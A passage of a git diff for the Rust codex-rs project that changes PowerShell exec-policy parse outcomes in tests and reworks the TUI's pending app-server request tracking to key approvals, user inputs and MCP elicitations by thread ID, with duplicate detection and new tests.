PowerShellExecPolicyParseOutcome::Failed, + } } /// This function attempts to find a powershell.exe executable on the system. @@ -219,6 +252,8 @@ mod tests { #[cfg(windows)] use super::PowerShellExecPolicyParse; #[cfg(windows)] + use super::PowerShellExecPolicyParseOutcome; + #[cfg(windows)] use super::PowerShellFlavor; use super::UTF8_OUTPUT_PREFIX; use super::extract_powershell_command; @@ -397,7 +432,10 @@ mod tests { Some(PowerShellFlavor::PowerShell7) ); let trusted = trusted_windows_powershell_executable(); - let parsed = Some(vec![vec!["echo".to_string(), "classified".to_string()]]); + let parsed = PowerShellExecPolicyParseOutcome::Commands(vec![vec![ + "echo".to_string(), + "classified".to_string(), + ]]); let cases = [ (trusted, true), ("powershell.exe".to_string(), false), @@ -420,11 +458,11 @@ mod tests { ]); let expected = if trusted { PowerShellExecPolicyParse::TrustedRuntime { - commands: parsed.clone(), + outcome: parsed.clone(), } } else { PowerShellExecPolicyParse::UntrustedRuntime { - commands: parsed.clone(), + outcome: parsed.clone(), } }; assert_eq!(result, Some(expected), "runtime {executable:?}"); @@ -445,7 +483,9 @@ mod tests { "-Command".to_string(), "echo launchable".to_string(), ]), - Some(PowerShellExecPolicyParse::UntrustedRuntime { commands: Some(_) }) + Some(PowerShellExecPolicyParse::UntrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Commands(_) + }) )); } } @@ -464,18 +504,24 @@ mod tests { &trusted_windows_powershell_executable(), &["-Command", "param([string]$path) echo blocked"], ), - PowerShellExecPolicyParse::TrustedRuntime { commands: None }, + PowerShellExecPolicyParse::TrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Unsupported, + }, ), ( command( "powershell.exe", &["-NonInteractive", "-Command", "echo blocked"], ), - PowerShellExecPolicyParse::UntrustedRuntime { commands: None }, + PowerShellExecPolicyParse::UntrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Unsupported, + }, ), ( command("powershell.exe", &["-Command", "echo blocked", "trailing"]), - PowerShellExecPolicyParse::UntrustedRuntime { commands: None }, + PowerShellExecPolicyParse::UntrustedRuntime { + outcome: PowerShellExecPolicyParseOutcome::Unsupported, + }, ), ]; diff --git a/codex-rs/tui/src/app/app_server_events.rs b/codex-rs/tui/src/app/app_server_events.rs index 06ed4320d8..fe13651257 100644 --- a/codex-rs/tui/src/app/app_server_events.rs +++ b/codex-rs/tui/src/app/app_server_events.rs @@ -65,9 +65,17 @@ impl App { ) { match ¬ification { ServerNotification::ServerRequestResolved(notification) => { + let Ok(thread_id) = codex_protocol::ThreadId::from_string(¬ification.thread_id) + else { + tracing::warn!( + thread_id = notification.thread_id, + "ignoring server request resolution with invalid thread_id" + ); + return; + }; if let Some(request) = self .pending_app_server_requests - .resolve_notification(¬ification.request_id) + .resolve_notification(thread_id, ¬ification.request_id) { self.chat_widget.dismiss_app_server_request(&request); } diff --git a/codex-rs/tui/src/app/app_server_requests.rs b/codex-rs/tui/src/app/app_server_requests.rs index 356b983836..8f34735ca6 100644 --- a/codex-rs/tui/src/app/app_server_requests.rs +++ b/codex-rs/tui/src/app/app_server_requests.rs @@ -1,5 +1,6 @@ use std::collections::HashMap; use std::collections::VecDeque; +use std::collections::hash_map::Entry; use super::App; use crate::app_command::AppCommand; @@ -12,6 +13,7 @@ use codex_app_server_protocol::McpServerElicitationRequestResponse; use codex_app_server_protocol::PermissionsRequestApprovalResponse; use codex_app_server_protocol::RequestId as AppServerRequestId; use codex_app_server_protocol::ServerRequest; +use codex_protocol::ThreadId; use codex_protocol::request_permissions::RequestPermissionProfile as CoreRequestPermissionProfile; impl App { @@ -47,33 +49,71 @@ pub(super) struct UnsupportedAppServerRequest { pub(super) message: String, } +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct AppServerRequestIdentity { + pub(crate) thread_id: ThreadId, + pub(crate) request_id: AppServerRequestId, +} + #[derive(Debug, Clone, PartialEq, Eq)] pub(crate) enum ResolvedAppServerRequest { ExecApproval { + thread_id: ThreadId, + request_id: AppServerRequestId, id: String, }, FileChangeApproval { + thread_id: ThreadId, + request_id: AppServerRequestId, id: String, }, PermissionsApproval { + thread_id: ThreadId, + request_id: AppServerRequestId, id: String, }, UserInput { + thread_id: ThreadId, + request_id: AppServerRequestId, + turn_id: String, call_id: String, }, McpElicitation { + thread_id: ThreadId, server_name: String, request_id: AppServerRequestId, }, } +impl ResolvedAppServerRequest { + pub(crate) fn thread_id(&self) -> ThreadId { + match self { + ResolvedAppServerRequest::ExecApproval { thread_id, .. } + | ResolvedAppServerRequest::FileChangeApproval { thread_id, .. } + | ResolvedAppServerRequest::PermissionsApproval { thread_id, .. } + | ResolvedAppServerRequest::UserInput { thread_id, .. } + | ResolvedAppServerRequest::McpElicitation { thread_id, .. } => *thread_id, + } + } + + pub(crate) fn request_id(&self) -> &AppServerRequestId { + match self { + ResolvedAppServerRequest::ExecApproval { request_id, .. } + | ResolvedAppServerRequest::FileChangeApproval { request_id, .. } + | ResolvedAppServerRequest::PermissionsApproval { request_id, .. } + | ResolvedAppServerRequest::UserInput { request_id, .. } + | ResolvedAppServerRequest::McpElicitation { request_id, .. } => request_id, + } + } +} + #[derive(Debug, Default)] pub(super) struct PendingAppServerRequests { - exec_approvals: HashMap, - file_change_approvals: HashMap, - permissions_approvals: HashMap, - user_inputs: HashMap>, - mcp_requests: HashMap, + exec_approvals: HashMap, + file_change_approvals: HashMap, + permissions_approvals: HashMap, + user_inputs: HashMap>, + mcp_requests: HashMap, } impl PendingAppServerRequests { @@ -91,19 +131,38 @@ impl PendingAppServerRequests { ) -> Option { match request { ServerRequest::CommandExecutionRequestApproval { request_id, params } => { + let thread_id = match Self::parse_thread_id(request_id, ¶ms.thread_id) { + Ok(thread_id) => thread_id, + Err(unsupported) => return Some(unsupported), + }; let approval_id = params .approval_id .clone() .unwrap_or_else(|| params.item_id.clone()); - self.exec_approvals.insert(approval_id, request_id.clone()); - None + Self::insert_approval( + &mut self.exec_approvals, + ThreadRequestKey::new(thread_id, approval_id), + request_id, + "command execution approval", + ) } ServerRequest::FileChangeRequestApproval { request_id, params } => { - self.file_change_approvals - .insert(params.item_id.clone(), request_id.clone()); - None + let thread_id = match Self::parse_thread_id(request_id, ¶ms.thread_id) { + Ok(thread_id) => thread_id, + Err(unsupported) => return Some(unsupported), + }; + Self::insert_approval( + &mut self.file_change_approvals, + ThreadRequestKey::new(thread_id, params.item_id.clone()), + request_id, + "file change approval", + ) } ServerRequest::PermissionsRequestApproval { request_id, params } => { + let thread_id = match Self::parse_thread_id(request_id, ¶ms.thread_id) { + Ok(thread_id) => thread_id, + Err(unsupported) => return Some(unsupported), + }; // TODO(anp): Remove this duplicate validation once core permission paths remain // PathUri after crossing the app-server boundary. Native permission paths do not // yet have an ingress validation step, so validate them here before recording the @@ -116,13 +175,36 @@ impl PendingAppServerRequests { message: format!("failed to localize requested filesystem paths: {err}"), }); } - self.permissions_approvals - .insert(params.item_id.clone(), request_id.clone()); - None + Self::insert_approval( + &mut self.permissions_approvals, + ThreadRequestKey::new(thread_id, params.item_id.clone()), + request_id, + "permissions approval", + ) } ServerRequest::ToolRequestUserInput { request_id, params } => { + let thread_id = match Self::parse_thread_id(request_id, ¶ms.thread_id) { + Ok(thread_id) => thread_id, + Err(unsupported) => return Some(unsupported), + }; + let key = ThreadTurnKey { + thread_id, + turn_id: params.turn_id.clone(), + }; + if self.user_inputs.get(&key).is_some_and(|queue| { + queue + .iter() + .any(|pending| pending.item_id == params.item_id) + }) { + return Some(Self::duplicate_request( + request_id, + thread_id, + "user input", + ¶ms.item_id, + )); + } self.user_inputs - .entry(params.turn_id.clone()) + .entry(key) .or_default() .push_back(PendingUserInputRequest { item_id: params.item_id.clone(), @@ -131,14 +213,29 @@ impl PendingAppServerRequests { None } ServerRequest::McpServerElicitationRequest { request_id, params } => { - self.mcp_requests.insert( - McpRequestKey { - server_name: params.server_name.clone(), - request_id: request_id.clone(), - }, - request_id.clone(), - ); - None + let thread_id = match Self::parse_thread_id(request_id, ¶ms.thread_id) { + Ok(thread_id) => thread_id, + Err(unsupported) => return Some(unsupported), + }; + let key = McpRequestKey { + server_name: params.server_name.clone(), + request_id: request_id.clone(), + }; + match self.mcp_requests.entry(key) { + Entry::Vacant(entry) => { + entry.insert(thread_id); + None + } + Entry::Occupied(_) => { + let correlation_id = format!("{request_id:?}"); + Some(Self::duplicate_request( + request_id, + thread_id, + "MCP elicitation", + &correlation_id, + )) + } + } } ServerRequest::DynamicToolCall { request_id, .. } => { Some(UnsupportedAppServerRequest { @@ -178,6 +275,8 @@ impl PendingAppServerRequests { pub(super) fn take_resolution( &mut self, + thread_id: ThreadId, + expected_request_id: &AppServerRequestId, op: T, ) -> Result, String> where @@ -186,8 +285,11 @@ impl PendingAppServerRequests { let op: AppCommand = op.into(); let resolution = match &op { AppCommand::ExecApproval { id, decision, .. } => self - .exec_approvals - .remove(id) + .remove_matching_approval( + PendingApprovalKind::Exec, + ThreadRequestKey::new(thread_id, id.clone()), + expected_request_id, + ) .map(|request_id| { Ok::(AppServerRequestResolution { request_id, @@ -203,8 +305,11 @@ impl PendingAppServerRequests { }) .transpose()?, AppCommand::PatchApproval { id, decision } => self - .file_change_approvals - .remove(id) + .remove_matching_approval( + PendingApprovalKind::FileChange, + ThreadRequestKey::new(thread_id, id.clone()), + expected_request_id, + ) .map(|request_id| { Ok::(AppServerRequestResolution { request_id, @@ -218,8 +323,11 @@ impl PendingAppServerRequests { }) .transpose()?, AppCommand::RequestPermissionsResponse { id, response } => self - .permissions_approvals - .remove(id) + .remove_matching_approval( + PendingApprovalKind::Permissions, + ThreadRequestKey::new(thread_id, id.clone()), + expected_request_id, + ) .map(|request_id| { Ok::(AppServerRequestResolution { request_id, @@ -237,7 +345,7 @@ impl PendingAppServerRequests { }) .transpose()?, AppCommand::UserInputAnswer { id, response } => self - .pop_user_input_request_for_turn(id) + .remove_user_input_request_for_turn(thread_id, id, expected_request_id) .map(|pending| { Ok::(AppServerRequestResolution { request_id: pending.request_id, @@ -249,19 +357,22 @@ impl PendingAppServerRequests { .transpose()?, AppCommand::ResolveElicitation { server_name, - request_id, + request_id: mcp_request_id, decision, content, meta, } => self - .mcp_requests - .remove(&McpRequestKey { - server_name: server_name.to_string(), - request_id: request_id.clone(), - }) - .map(|request_id| { + .remove_mcp_request( + thread_id, + expected_request_id, + &McpRequestKey { + server_name: server_name.to_string(), + request_id: mcp_request_id.clone(), + }, + ) + .map(|pending| { Ok::(AppServerRequestResolution { - request_id, + request_id: pending, result: serde_json::to_value(McpServerElicitationRequestResponse { action: *decision, content: content.clone(), @@ -280,37 +391,47 @@ impl PendingAppServerRequests { pub(super) fn resolve_notification( &mut self, + thread_id: ThreadId, request_id: &AppServerRequestId, ) -> Option { - if let Some(id) = self - .exec_approvals - .iter() - .find_map(|(id, value)| (value == request_id).then(|| id.clone())) - { + if let Some(id) = self.exec_approvals.iter().find_map(|(key, value)| { + (key.thread_id == thread_id && value == request_id).then(|| key.clone()) + }) { self.exec_approvals.remove(&id); - return Some(ResolvedAppServerRequest::ExecApproval { id }); + return Some(ResolvedAppServerRequest::ExecApproval { + thread_id, + request_id: request_id.clone(), + id: id.request_key, + }); } - if let Some(id) = self - .file_change_approvals - .iter() - .find_map(|(id, value)| (value == request_id).then(|| id.clone())) - { + if let Some(id) = self.file_change_approvals.iter().find_map(|(key, value)| { + (key.thread_id == thread_id && value == request_id).then(|| key.clone()) + }) { self.file_change_approvals.remove(&id); - return Some(ResolvedAppServerRequest::FileChangeApproval { id }); + return Some(ResolvedAppServerRequest::FileChangeApproval { + thread_id, + request_id: request_id.clone(), + id: id.request_key, + }); } - if let Some(id) = self - .permissions_approvals - .iter() - .find_map(|(id, value)| (value == request_id).then(|| id.clone())) - { + if let Some(id) = self.permissions_approvals.iter().find_map(|(key, value)| { + (key.thread_id == thread_id && value == request_id).then(|| key.clone()) + }) { self.permissions_approvals.remove(&id); - return Some(ResolvedAppServerRequest::PermissionsApproval { id }); + return Some(ResolvedAppServerRequest::PermissionsApproval { + thread_id, + request_id: request_id.clone(), + id: id.request_key, + }); } - if let Some(pending) = self.remove_user_input_request(request_id) { + if let Some((key, pending)) = self.remove_user_input_request(thread_id, request_id) { return Some(ResolvedAppServerRequest::UserInput { + thread_id, + request_id: request_id.clone(), + turn_id: key.turn_id, call_id: pending.item_id, }); } @@ -318,10 +439,14 @@ impl PendingAppServerRequests { if let Some(key) = self .mcp_requests .iter() - .find_map(|(key, value)| (value == request_id).then(|| key.clone())) + .find_map(|(key, pending_thread_id)| { + (*pending_thread_id == thread_id && &key.request_id == request_id) + .then(|| key.clone()) + }) { self.mcp_requests.remove(&key); return Some(ResolvedAppServerRequest::McpElicitation { + thread_id, server_name: key.server_name, request_id: key.request_id, }); @@ -332,29 +457,60 @@ impl PendingAppServerRequests { pub(super) fn contains_server_request(&self, request: &ServerRequest) -> bool { match request { - ServerRequest::CommandExecutionRequestApproval { request_id, .. } => self - .exec_approvals - .values() - .any(|pending_request_id| pending_request_id == request_id), - ServerRequest::FileChangeRequestApproval { request_id, .. } => self - .file_change_approvals - .values() - .any(|pending_request_id| pending_request_id == request_id), - ServerRequest::PermissionsRequestApproval { request_id, .. } => self - .permissions_approvals - .values() - .any(|pending_request_id| pending_request_id == request_id), - ServerRequest::ToolRequestUserInput { request_id, .. } => { - self.user_inputs.values().any(|queue| { - queue - .iter() - .any(|pending| &pending.request_id == request_id) - }) + ServerRequest::CommandExecutionRequestApproval { request_id, params } => { + let Ok(thread_id) = ThreadId::from_string(¶ms.thread_id) else { + return false; + }; + self.exec_approvals.get(&ThreadRequestKey::new( + thread_id, + params + .approval_id + .clone() + .unwrap_or_else(|| params.item_id.clone()), + )) == Some(request_id) + } + ServerRequest::FileChangeRequestApproval { request_id, params } => { + let Ok(thread_id) = ThreadId::from_string(¶ms.thread_id) else { + return false; + }; + self.file_change_approvals + .get(&ThreadRequestKey::new(thread_id, params.item_id.clone())) + == Some(request_id) + } + ServerRequest::PermissionsRequestApproval { request_id, params } => { + let Ok(thread_id) = ThreadId::from_string(¶ms.thread_id) else { + return false; + }; + self.permissions_approvals + .get(&ThreadRequestKey::new(thread_id, params.item_id.clone())) + == Some(request_id) + } + ServerRequest::ToolRequestUserInput { request_id, params } => { + let Ok(thread_id) = ThreadId::from_string(¶ms.thread_id) else { + return false; + }; + self.user_inputs + .get(&ThreadTurnKey { + thread_id, + turn_id: params.turn_id.clone(), + }) + .is_some_and(|queue| { + queue.iter().any(|pending| { + &pending.request_id == request_id && pending.item_id == params.item_id + }) + }) + } + ServerRequest::McpServerElicitationRequest { request_id, params } => { + let Ok(thread_id) = ThreadId::from_string(¶ms.thread_id) else { + return false; + }; + self.mcp_requests + .get(&McpRequestKey { + server_name: params.server_name.clone(), + request_id: request_id.clone(), + }) + .is_some_and(|pending_thread_id| *pending_thread_id == thread_id) } - ServerRequest::McpServerElicitationRequest { request_id, .. } => self - .mcp_requests - .values() - .any(|pending_request_id| pending_request_id == request_id), ServerRequest::DynamicToolCall { .. } | ServerRequest::ChatgptAuthTokensRefresh { .. } | ServerRequest::AttestationGenerate { .. } @@ -364,40 +520,121 @@ impl PendingAppServerRequests { } } - fn pop_user_input_request_for_turn( + fn remove_user_input_request_for_turn( &mut self, + thread_id: ThreadId, turn_id: &str, + request_id: &AppServerRequestId, ) -> Option { - let pending = self - .user_inputs - .get_mut(turn_id) - .and_then(VecDeque::pop_front); - if self - .user_inputs - .get(turn_id) - .is_some_and(VecDeque::is_empty) - { - self.user_inputs.remove(turn_id); + let key = ThreadTurnKey { + thread_id, + turn_id: turn_id.to_string(), + }; + let queue = self.user_inputs.get_mut(&key)?; + let index = queue + .iter() + .position(|pending| &pending.request_id == request_id)?; + let pending = queue.remove(index); + if self.user_inputs.get(&key).is_some_and(VecDeque::is_empty) { + self.user_inputs.remove(&key); } pending } fn remove_user_input_request( &mut self, + thread_id: ThreadId, request_id: &AppServerRequestId, - ) -> Option { - let (turn_id, index) = self.user_inputs.iter().find_map(|(turn_id, queue)| { - queue - .iter() - .position(|pending| &pending.request_id == request_id) - .map(|index| (turn_id.clone(), index)) + ) -> Option<(ThreadTurnKey, PendingUserInputRequest)> { + let (key, index) = self.user_inputs.iter().find_map(|(key, queue)| { + (key.thread_id == thread_id).then(|| { + queue + .iter() + .position(|pending| &pending.request_id == request_id) + .map(|index| (key.clone(), index)) + })? })?; - let queue = self.user_inputs.get_mut(&turn_id)?; + let queue = self.user_inputs.get_mut(&key)?; let removed = queue.remove(index); if queue.is_empty() { - self.user_inputs.remove(&turn_id); + self.user_inputs.remove(&key); + } + removed.map(|pending| (key, pending)) + } + + fn remove_mcp_request( + &mut self, + thread_id: ThreadId, + expected_request_id: &AppServerRequestId, + key: &McpRequestKey, + ) -> Option { + if &key.request_id != expected_request_id || self.mcp_requests.get(key) != Some(&thread_id) + { + return None; + } + self.mcp_requests.remove(key)?; + Some(key.request_id.clone()) + } + + fn remove_matching_approval( + &mut self, + kind: PendingApprovalKind, + key: ThreadRequestKey, + request_id: &AppServerRequestId, + ) -> Option { + let approvals = match kind { + PendingApprovalKind::Exec => &mut self.exec_approvals, + PendingApprovalKind::FileChange => &mut self.file_change_approvals, + PendingApprovalKind::Permissions => &mut self.permissions_approvals, + }; + if approvals.get(&key) != Some(request_id) { + return None; + } + approvals.remove(&key) + } + + fn parse_thread_id( + request_id: &AppServerRequestId, + thread_id: &str, + ) -> Result { + ThreadId::from_string(thread_id).map_err(|err| UnsupportedAppServerRequest { + request_id: request_id.clone(), + message: format!("invalid app-server request thread_id `{thread_id}`: {err}"), + }) + } + + fn insert_approval( + approvals: &mut HashMap, + key: ThreadRequestKey, + request_id: &AppServerRequestId, + request_kind: &str, + ) -> Option { + match approvals.entry(key.clone()) { + Entry::Vacant(entry) => { + entry.insert(request_id.clone()); + None + } + Entry::Occupied(_) => Some(Self::duplicate_request( + request_id, + key.thread_id, + request_kind, + &key.request_key, + )), + } + } + + fn duplicate_request( + request_id: &AppServerRequestId, + thread_id: ThreadId, + request_kind: &str, + correlation_id: &str, + ) -> UnsupportedAppServerRequest { + UnsupportedAppServerRequest { + request_id: request_id.clone(), + message: format!( + "duplicate pending {request_kind} request `{correlation_id}` for thread {thread_id}" + ), } - removed } } @@ -407,6 +644,34 @@ struct PendingUserInputRequest { request_id: AppServerRequestId, } +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +struct ThreadRequestKey { + thread_id: ThreadId, + request_key: String, +} + +impl ThreadRequestKey { + fn new(thread_id: ThreadId, request_key: String) -> Self { + Self { + thread_id, + request_key, + } + } +} + +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +struct ThreadTurnKey { + thread_id: ThreadId, + turn_id: String, +} + +#[derive(Debug, Clone, Copy)] +enum PendingApprovalKind { + Exec, + FileChange, + Permissions, +} + #[derive(Debug, Clone, PartialEq, Eq, Hash)] struct McpRequestKey { server_name: String, @@ -438,6 +703,7 @@ mod tests { use codex_app_server_protocol::ToolRequestUserInputAnswer; use codex_app_server_protocol::ToolRequestUserInputParams; use codex_app_server_protocol::ToolRequestUserInputResponse; + use codex_protocol::ThreadId; use codex_protocol::models::FileSystemPermissions; use codex_protocol::models::NetworkPermissions; use codex_protocol::request_permissions::RequestPermissionProfile; @@ -448,22 +714,46 @@ mod tests { use std::collections::HashMap; use std::path::PathBuf; - #[test] - fn resolves_exec_approval_through_app_server_request_id() { - let mut pending = PendingAppServerRequests::default(); - let request = ServerRequest::CommandExecutionRequestApproval { - request_id: AppServerRequestId::Integer(41), + const THREAD_1: &str = "00000000-0000-0000-0000-000000000001"; + const THREAD_2: &str = "00000000-0000-0000-0000-000000000002"; + + fn thread_id(value: &str) -> ThreadId { + ThreadId::from_string(value).expect("test thread id should be valid") + } + + fn exec_request( + thread_id: &str, + request_id: i64, + item_id: &str, + approval_id: Option<&str>, + ) -> ServerRequest { + exec_request_with_request_id( + thread_id, + AppServerRequestId::Integer(request_id), + item_id, + approval_id, + ) + } + + fn exec_request_with_request_id( + thread_id: &str, + request_id: AppServerRequestId, + item_id: &str, + approval_id: Option<&str>, + ) -> ServerRequest { + ServerRequest::CommandExecutionRequestApproval { + request_id, params: CommandExecutionRequestApprovalParams { - thread_id: "thread-1".to_string(), + thread_id: thread_id.to_string(), turn_id: "turn-1".to_string(), - item_id: "call-1".to_string(), + item_id: item_id.to_string(), started_at_ms: 0, - approval_id: Some("approval-1".to_string()), + approval_id: approval_id.map(str::to_string), approval_purpose: None, environment_id: None, reason: None, network_approval_context: None, - command: Some("ls".to_string()), + command: Some("true".to_string()), cwd: None, command_actions: None, additional_permissions: None, @@ -471,16 +761,117 @@ mod tests { proposed_network_policy_amendments: None, available_decisions: None, }, - }; + } + } + + fn file_change_request(thread_id: &str, request_id: i64, item_id: &str) -> ServerRequest { + ServerRequest::FileChangeRequestApproval { + request_id: AppServerRequestId::Integer(request_id), + params: FileChangeRequestApprovalParams { + thread_id: thread_id.to_string(), + turn_id: "turn-1".to_string(), + item_id: item_id.to_string(), + started_at_ms: 0, + reason: None, + grant_root: None, + }, + } + } + + fn permissions_request(thread_id: &str, request_id: i64, item_id: &str) -> ServerRequest { + ServerRequest::PermissionsRequestApproval { + request_id: AppServerRequestId::Integer(request_id), + params: PermissionsRequestApprovalParams { + thread_id: thread_id.to_string(), + turn_id: "turn-1".to_string(), + item_id: item_id.to_string(), + environment_id: None, + started_at_ms: 0, + cwd: AbsolutePathBuf::current_dir().expect("current dir should be absolute"), + reason: None, + permissions: serde_json::from_value(json!({ + "network": { "enabled": null } + })) + .expect("valid permissions"), + }, + } + } + + fn user_input_request( + thread_id: &str, + request_id: i64, + turn_id: &str, + item_id: &str, + ) -> ServerRequest { + ServerRequest::ToolRequestUserInput { + request_id: AppServerRequestId::Integer(request_id), + params: ToolRequestUserInputParams { + thread_id: thread_id.to_string(), + turn_id: turn_id.to_string(), + item_id: item_id.to_string(), + questions: Vec::new(), + auto_resolution_ms: None, + }, + } + } + + fn mcp_request(thread_id: &str, request_id: i64) -> ServerRequest { + ServerRequest::McpServerElicitationRequest { + request_id: AppServerRequestId::Integer(request_id), + params: McpServerElicitationRequestParams { + thread_id: thread_id.to_string(), + turn_id: Some("turn-1".to_string()), + server_name: "example".to_string(), + request: McpServerElicitationRequest::Form { + meta: None, + message: "Need input".to_string(), + requested_schema: McpElicitationSchema { + schema_uri: None, + type_: McpElicitationObjectType::Object, + properties: BTreeMap::new(), + required: None, + }, + }, + }, + } + } + + fn empty_user_input_response() -> ToolRequestUserInputResponse { + ToolRequestUserInputResponse { + answers: HashMap::new(), + } + } + + fn permissions_response() -> codex_protocol::request_permissions::RequestPermissionsResponse { + codex_protocol::request_permissions::RequestPermissionsResponse { + permissions: RequestPermissionProfile::default(), + scope: codex_protocol::request_permissions::PermissionGrantScope::Session, + strict_auto_review: false, + } + } + + #[test] + fn resolves_exec_approval_through_app_server_request_id() { + let mut pending = PendingAppServerRequests::default(); + let request = exec_request( + THREAD_1, + /*request_id*/ 41, + "call-1", + Some("approval-1"), + ); assert_eq!(pending.note_server_request(&request), None); let resolution = pending - .take_resolution(&Op::ExecApproval { - id: "approval-1".to_string(), - turn_id: None, - decision: CommandExecutionApprovalDecision::Accept, - }) + .take_resolution( + thread_id(THREAD_1), + &AppServerRequestId::Integer(41), + &Op::ExecApproval { + id: "approval-1".to_string(), + turn_id: None, + decision: CommandExecutionApprovalDecision::Accept, + }, + ) .expect("resolution should serialize") .expect("request should be pending"); @@ -488,6 +879,45 @@ mod tests { assert_eq!(resolution.result, json!({ "decision": "accept" })); } + #[test] + fn duplicate_exec_approval_does_not_overwrite_pending_request() { + let mut pending = PendingAppServerRequests::default(); + + assert_eq!( + pending.note_server_request(&exec_request( + THREAD_1, + /*request_id*/ 41, + "call-1", + Some("approval-1"), + )), + None + ); + assert!( + pending + .note_server_request(&exec_request( + THREAD_1, + /*request_id*/ 42, + "call-2", + Some("approval-1"), + )) + .is_some() + ); + + let resolution = pending + .take_resolution( + thread_id(THREAD_1), + &AppServerRequestId::Integer(41), + &Op::ExecApproval { + id: "approval-1".to_string(), + turn_id: None, + decision: CommandExecutionApprovalDecision::Accept, + }, + ) + .expect("resolution should serialize") + .expect("original request should remain pending"); + assert_eq!(resolution.request_id, AppServerRequestId::Integer(41)); + } + #[test] fn rejects_permissions_with_paths_that_cannot_be_localized() { let mut pending = PendingAppServerRequests::default(); @@ -517,7 +947,7 @@ mod tests { pending.note_server_request(&ServerRequest::PermissionsRequestApproval { request_id: request_id.clone(), params: PermissionsRequestApprovalParams { - thread_id: "thread-1".to_string(), + thread_id: THREAD_1.to_string(), turn_id: "turn-1".to_string(), item_id: "perm-1".to_string(), environment_id: None, @@ -557,7 +987,7 @@ mod tests { pending.note_server_request(&ServerRequest::PermissionsRequestApproval { request_id: AppServerRequestId::Integer(7), params: PermissionsRequestApprovalParams { - thread_id: "thread-1".to_string(), + thread_id: THREAD_1.to_string(), turn_id: "turn-1".to_string(), item_id: "perm-1".to_string(), environment_id: None, @@ -576,7 +1006,7 @@ mod tests { pending.note_server_request(&ServerRequest::ToolRequestUserInput { request_id: AppServerRequestId::Integer(8), params: ToolRequestUserInputParams { - thread_id: "thread-1".to_string(), + thread_id: THREAD_1.to_string(), turn_id: "turn-2".to_string(), item_id: "tool-1".to_string(), questions: Vec::new(), @@ -587,22 +1017,26 @@ mod tests { ); let permissions = pending - .take_resolution(&Op::RequestPermissionsResponse { - id: "perm-1".to_string(), - response: codex_protocol::request_permissions::RequestPermissionsResponse { - permissions: RequestPermissionProfile { - network: Some(NetworkPermissions { - enabled: Some(true), - }), - file_system: Some(FileSystemPermissions::from_read_write_roots( - Some(vec![absolute_path(read_path)]), - Some(vec![absolute_path(write_path)]), - )), + .take_resolution( + thread_id(THREAD_1), + &AppServerRequestId::Integer(7), + &Op::RequestPermissionsResponse { + id: "perm-1".to_string(), + response: codex_protocol::request_permissions::RequestPermissionsResponse { + permissions: RequestPermissionProfile { + network: Some(NetworkPermissions { + enabled: Some(true), + }), + file_system: Some(FileSystemPermissions::from_read_write_roots( + Some(vec![absolute_path(read_path)]), + Some(vec![absolute_path(write_path)]), + )), + }, + scope: codex_protocol::request_permissions::PermissionGrantScope::Session, + strict_auto_review: false, }, - scope: codex_protocol::request_permissions::PermissionGrantScope::Session, - strict_auto_review: false, }, - }) + ) .expect("permissions response should serialize") .expect("permissions request should be pending"); assert_eq!(permissions.request_id, AppServerRequestId::Integer(7)); @@ -640,18 +1074,22 @@ mod tests { ); let user_input = pending - .take_resolution(&Op::UserInputAnswer { - id: "turn-2".to_string(), - response: ToolRequestUserInputResponse { - answers: std::iter::once(( - "question".to_string(), - ToolRequestUserInputAnswer { - answers: vec!["yes".to_string()], - }, - )) - .collect(), + .take_resolution( + thread_id(THREAD_1), + &AppServerRequestId::Integer(8), + &Op::UserInputAnswer { + id: "turn-2".to_string(), + response: ToolRequestUserInputResponse { + answers: std::iter::once(( + "question".to_string(), + ToolRequestUserInputAnswer { + answers: vec!["yes".to_string()], + }, + )) + .collect(), + }, }, - }) + ) .expect("user input response should serialize") .expect("user input request should be pending"); assert_eq!(user_input.request_id, AppServerRequestId::Integer(8)); @@ -675,35 +1113,22 @@ mod tests { let mut pending = PendingAppServerRequests::default(); assert_eq!( - pending.note_server_request(&ServerRequest::McpServerElicitationRequest { - request_id: AppServerRequestId::Integer(12), - params: McpServerElicitationRequestParams { - thread_id: "thread-1".to_string(), - turn_id: Some("turn-1".to_string()), - server_name: "example".to_string(), - request: McpServerElicitationRequest::Form { - meta: None, - message: "Need input".to_string(), - requested_schema: McpElicitationSchema { - schema_uri: None, - type_: McpElicitationObjectType::Object, - properties: BTreeMap::new(), - required: None, - }, - }, - }, - }), + pending.note_server_request(&mcp_request(THREAD_1, /*request_id*/ 12)), None ); let resolution = pending - .take_resolution(&Op::ResolveElicitation { - server_name: "example".to_string(), - request_id: AppServerRequestId::Integer(12), - decision: McpServerElicitationAction::Accept, - content: Some(json!({ "answer": "yes" })), - meta: Some(json!({ "source": "tui" })), - }) + .take_resolution( + thread_id(THREAD_1), + &AppServerRequestId::Integer(12), + &Op::ResolveElicitation { + server_name: "example".to_string(), + request_id: AppServerRequestId::Integer(12), + decision: McpServerElicitationAction::Accept, + content: Some(json!({ "answer": "yes" })), + meta: Some(json!({ "source": "tui" })), + }, + ) .expect("elicitation response should serialize") .expect("elicitation request should be pending"); @@ -725,7 +1150,7 @@ mod tests { .note_server_request(&ServerRequest::DynamicToolCall { request_id: AppServerRequestId::Integer(99), params: codex_app_server_protocol::DynamicToolCallParams { - thread_id: "thread-1".to_string(), + thread_id: THREAD_1.to_string(), turn_id: "turn-1".to_string(), call_id: "tool-1".to_string(), namespace: None, @@ -762,25 +1187,21 @@ mod tests { fn resolves_patch_approval_through_app_server_request_id() { let mut pending = PendingAppServerRequests::default(); assert_eq!( - pending.note_server_request(&ServerRequest::FileChangeRequestApproval { - request_id: AppServerRequestId::Integer(13), - params: FileChangeRequestApprovalParams { - thread_id: "thread-1".to_string(), - turn_id: "turn-1".to_string(), - item_id: "patch-1".to_string(), - started_at_ms: 0, - reason: None, - grant_root: None, - }, - }), + pending.note_server_request(&file_change_request( + THREAD_1, /*request_id*/ 13, "patch-1", + )), None ); let resolution = pending - .take_resolution(&Op::PatchApproval { - id: "patch-1".to_string(), - decision: FileChangeApprovalDecision::Cancel, - }) + .take_resolution( + thread_id(THREAD_1), + &AppServerRequestId::Integer(13), + &Op::PatchApproval { + id: "patch-1".to_string(), + decision: FileChangeApprovalDecision::Cancel, + }, + ) .expect("resolution should serialize") .expect("request should be pending"); @@ -792,38 +1213,25 @@ mod tests { fn resolve_notification_returns_resolved_exec_request() { let mut pending = 